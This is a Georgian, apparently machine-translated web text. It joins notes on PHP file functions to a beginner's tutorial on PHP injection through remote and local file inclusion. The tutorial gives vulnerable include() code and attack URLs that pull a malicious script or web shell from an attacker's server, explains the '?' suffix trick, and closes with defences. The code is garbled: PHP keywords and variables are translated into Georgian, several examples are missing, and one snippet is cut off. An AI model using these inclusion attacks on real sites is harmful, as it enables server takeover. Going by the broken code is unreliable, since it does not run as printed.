ფაილის მთლიანი შინაარსის უბრალოდ საჩვენებლად, readfile() ფუნქცია იდეალურია. მისი სინტაქსია:

readfile (სტრიქონის ფაილის სახელი), სადაც string ფაილის სახელი არის სტრიქონის ფაილის სახელი (არა სახელური).


იგივე ფაილის წაკითხვა შესაძლებელია fpassthru() ფუნქციის გამოყენებით. ის კითხულობს მონაცემებს ბოლო მაჩვენებლის პოზიციიდან ფაილის ბოლომდე. მისი სინტაქსია:

int fpassthru (int ფაილი)

ფუნქცია მოითხოვს ფაილის გახსნას და დახურვას. მაგალითი:

შედეგი წინას მსგავსია.

php-ში ფაილებთან მუშაობის ფუნქციები საშუალებას გაძლევთ წაიკითხოთ შინაარსი ხაზ-სტრიქონით და სიმბოლოთი სიმბოლოთი:

  • string fgets (int ფაილი, int სიგრძე)– ფუნქცია კითხულობს სიგრძის სტრიქონს. მაგალითი:

  • სიმებიანი ფრედ (int ფაილი, int სიგრძე)- მოქმედება წინას იდენტურია.

ფაილში ტექსტური მონაცემების ჩასაწერად, არსებობს ორი იდენტური ფუნქცია:

  • int fputs (int ფაილი, სტრიქონი [, int სიგრძე])
  • int fwrite (int ფაილი, სტრიქონი [, int სიგრძე])

ფუნქციები წერენ ფაილში int ფაილში მითითებული სიგრძის int სიგრძის სტრიქონს ( არჩევითი არგუმენტი). მაგალითი:

ფაილების შექმნა და წაშლა

php ფაილის შესაქმნელად შეგიძლიათ გამოიყენოთ fopen() ფუნქცია "w" ან "w+" წვდომის რეჟიმში. ან touch() ფუნქცია. ის ადგენს ფაილის შეცვლის დროს. თუ არ არის ელემენტი მოძიებული სახელით, ის შეიქმნება. მისი სინტაქსი.

PHP ინექციის საფუძვლები დამწყებთათვის.​


PHP ინექცია(ინგლ. PHP injection) - დაახლოებით PHP-ზე გაშვებული ვებსაიტების გატეხვის ერთ-ერთი გზაა სერვერის მხრიდან უცხო კოდის შესრულება.პოტენციურად საშიში ფუნქციებია:
eval (),
preg_replace() ("e" მოდიფიკატორით),
მოითხოვს_ერთხელ (),
მოიცავს_ერთხელ (),
მოიცავს (),
მოითხოვს (),
create_function().

PHP ინექცია შესაძლებელი ხდება, თუ შეყვანის პარამეტრები მიიღება და გამოიყენება ვალიდაციის გარეშე.

დააწკაპუნეთ გასაშლელად...

(გ) ვიკი


საფუძვლები.​

Php ინექცია- ეს არის ვებსაიტზე თავდასხმის ფორმა, როდესაც თავდამსხმელი შეჰყავს თავის PHP კოდს თავდასხმულ PHP აპლიკაციაში.
თუ ინექცია წარმატებულია, თავდამსხმელს შეუძლია შეასრულოს თვითნებური (პოტენციურად საშიში) PHP კოდი სამიზნე სერვერზე. მაგალითად, შეავსეთ ჭურვი. მაგრამ პირველ რიგში, მოდით განვიხილოთ დეტალურად, თუ როგორ ხდება ეს.

მაგალითად:
წარმოვიდგინოთ, რომ გვაქვს ვებ გვერდი დაწერილი PHP-ით.
ასევე წარმოვიდგინოთ, რომ საიტი იყენებს ბრძანებას page=page.htmlმოთხოვნილი გვერდის საჩვენებლად.
კოდი ასე გამოიყურება:

$file = $_GET ["გვერდი"]; //აჩვენა გვერდი
მოიცავს ($ფაილი);
?>

ეს ნიშნავს, რომ გვერდზე ნაჩვენები ყველაფერი ჩასმული იქნება ამ გვერდის PHP კოდში. ამიტომ, თავდამსხმელს შეუძლია გააკეთოს მსგავსი რამ:

http: //www.attacked_site.com/index.php?page=http://www.attacked_server.com/malicious_script.txt?

თუ გადავხედავთ რა ხდება ინკლუზიის შესრულების შემდეგ, ჩვენ ვხედავთ შემდეგ კოდს, რომელიც შესრულებულია სამიზნე სერვერზე:

$ფაილი = "http://www.attack_server.com/malicious_script.txt?"; //$_GET["გვერდი"];
მოიცავს ($ფაილი); //$file არის თავდამსხმელის მიერ შეყვანილი სკრიპტი
?>

ჩვენ ვხედავთ, რომ თავდამსხმელმა წარმატებით შეუტია სამიზნე სერვერს.

დამატებითი დეტალები:
მაშ, რატომ შეძლო თავდამსხმელმა PHP ინექციის გაკეთება?
ყველაფერი ფუნქციის გამო მოიცავს () საშუალებას გაძლევთ გაუშვათ დისტანციური ფაილები.

რატომ იყო მითითებული სკრიპტი გაფართოებით მაგალითში *.txt , არა *.php ?
პასუხი მარტივია, თუ სკრიპტს ჰქონდა ფორმატი *.php , ის იმუშავებს თავდამსხმელის სერვერზე და არა სამიზნე სისტემაზე.

ასევე დაემატა სიმბოლო " ? " ინექციური სკრიპტის გზაზე, რომ ამოიღოთ რაიმე ფუნქციის შიგნით მოიცავს () სამიზნე სერვერზე.
მაგალითი:

$file = $_GET ["გვერდი"];
include($file . ".php" );
?>

ეს სკრიპტი ამატებს გაფართოებას *.php ბრძანებით მოწოდებულ ნებისმიერს მოიცავს () .
იმათ.

http: //www.attack_server.com/malicious_script.txt

იქცევა

http: //www.attack_server.com/malicious_script.txt.php

სკრიპტი არ იმუშავებს ამ სახელით (ფაილი არ არსებობს თავდამსხმელის სერვერზე /malicious_script.txt.php)
ამიტომ ვამატებთ "?" მავნე სკრიპტისკენ მიმავალი გზის ბოლომდე:

http: //www.attack_server.com/malicious_script.txt?.php

მაგრამ ის რჩება შესრულებადი.

PHP ინექციების განხორციელება include() ფუნქციის დაუცველობის მეშვეობით.​

RFI - დისტანციური ჩართვა PHP ინექციის დროს


RFI ჩატარების უნარი საკმაოდ გავრცელებული შეცდომაა ძრავებში.
თქვენ შეგიძლიათ იპოვოთ იგი შემდეგნაირად:
ვთქვათ, შემთხვევით წავაწყდით გვერდს, რომელიც ასე მთავრდება ბრაუზერის მისამართების ზოლში:

/ინდექსი. php? გვერდი = მთავარი

ამის ნაცვლად, ჩვენ ვცვლით მთავარინებისმიერი ბოდვითი მნიშვნელობა, მაგალითად უპიაჩკა

/ინდექსი. php? გვერდი = upyachka

პასუხად მივიღებთ შეცდომას:

გაფრთხილება: მთავარი (upyachka. php): ვერ გაიხსნა ნაკადი: არ არის ასეთი ფაილი ან დირექტორია / სახლში / მომხმარებელი / www //page.php მე-3 ხაზზე

გაფრთხილება: მთავარი (upyachka. php): ვერ გაიხსნა ნაკადი: არ არსებობს ასეთი ფაილი ან დირექტორია / სახლში / მომხმარებელს / www / გვერდზე. php მე-3 ხაზზე

გაფრთხილება: main (): ვერ გაიხსნა "upyachka.php" ჩასართავად (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear") /home/user/www/page. php მე-3 ხაზზე

ეს გვაჩვენებს, რომ ჩართვა შესაძლებელია.
შევეცადოთ ჩანაცვლება უპიაჩკასაიტი ჭურვისკენ მიმავალ გზაზე (არ უნდა იყოს მითითებული shell ფაილის გაფართოება, ან მიუთითეთ ის, როგორც ზემოთ აღწერილი)

http: //www.attacked_server.com/index.php?file=http://www.attack_site.com/shell

ასე მიიღება ჭურვი. ახლა თქვენ უნდა აცნობოთ საიტის ადმინისტრატორს დაუცველობის შესახებ, რათა მან გამოასწოროს ის, რომ ბოროტმა ბიჭებმა არ ისარგებლონ შეცდომით.

LFI - ადგილობრივი მოიცავს PHP ინექციისთვის


წარმოვიდგინოთ, რომ ჩვენ შეგვხვდა იგივე დაუცველი საიტი

/ინდექსი. php? ფაილი = მთავარი

კოდით

..
Include ("folder/ $page .htm" );

?>

ეს უკვე ლოკალური ჩართვაა. ამ სიტუაციაში შესაძლებელია მხოლოდ ფაილების ჩამონათვალი:

/ინდექსი. php? გვერდი =../ ინდექსი . php

შემდეგ შემთხვევაში, კოდი ასე გამოიყურება:

..
Include ("$dir1/folder/page.php");

?>

ამ შემთხვევაში, თქვენ შეგიძლიათ დაწეროთ გზა გარსისკენ შემდეგნაირად:
შექმენით საქაღალდე საქაღალდევებსაიტზე, სადაც ჭურვი ინახება, ჩააგდეთ ჭურვი ამ საქაღალდეში:

http: //www.attack_site.com/folder/shell.php

ინექცია ამ შემთხვევაში ასე გამოიყურება:

ინდექსი. php? dir1 = http: //www.site_attacker.com/

დაცვის მეთოდები


მოდით შევხედოთ სკრიპტს:

...

მოიცავს $მოდულს. ".php" ;
...
?>

ეს სკრიპტი დაუცველია ცვლადის შინაარსის გამო $ მოდული უბრალოდ დაემატა *.php და ფაილი გაშვებულია მიღებული გზის გამოყენებით.

ასეთი თავდასხმისგან თავის დასაცავად რამდენიმე გზა არსებობს:​


- შეამოწმეთ, შეიცავს თუ არა $module ცვლადი გარე სიმბოლოებს:

...
$module = $_GET ["მოდული"];
if (strpbrk ($module , ".?/:" )) die("დაბლოკილია" );
მოიცავს $მოდულს. ".php" ;
...
?>

- შეამოწმეთ, რომ $module-ს მინიჭებული აქვს ერთ-ერთი სწორი მნიშვნელობა:
"/" , "" , $page ); // სხვა დირექტორიაში გადასვლის შესაძლებლობა დაბლოკილია.
if (ფაილი_არსებობს ("ფაილები/ $გვერდი .htm" ))
{
Include("files/$page.htm" );
}
სხვა
{
ექო
"შეცდომა";
}

?>

PHP ასევე იძლევა დისტანციური ფაილების გამოყენების გამორთვის შესაძლებლობას, ეს კეთდება php.ini კონფიგურაციის ფაილში allow_url_fopen ოფციის მნიშვნელობის Off-ზე შეცვლით.

აღწერილი დაუცველობა დიდ საფრთხეს უქმნის საიტს და PHP სკრიპტების ავტორებმა არ უნდა დაივიწყონ ეს.

წერისას მასალები
ვიკიპედია,
უცხოური ფორუმიდან Security-sh3ll (spl0it),
Antichat ფორუმიდან (GreenBear).
განსაკუთრებული მადლობა ბერტიდა f02თქვენი დახმარებისთვის,
მხარდაჭერა და კარგი კრიტიკა)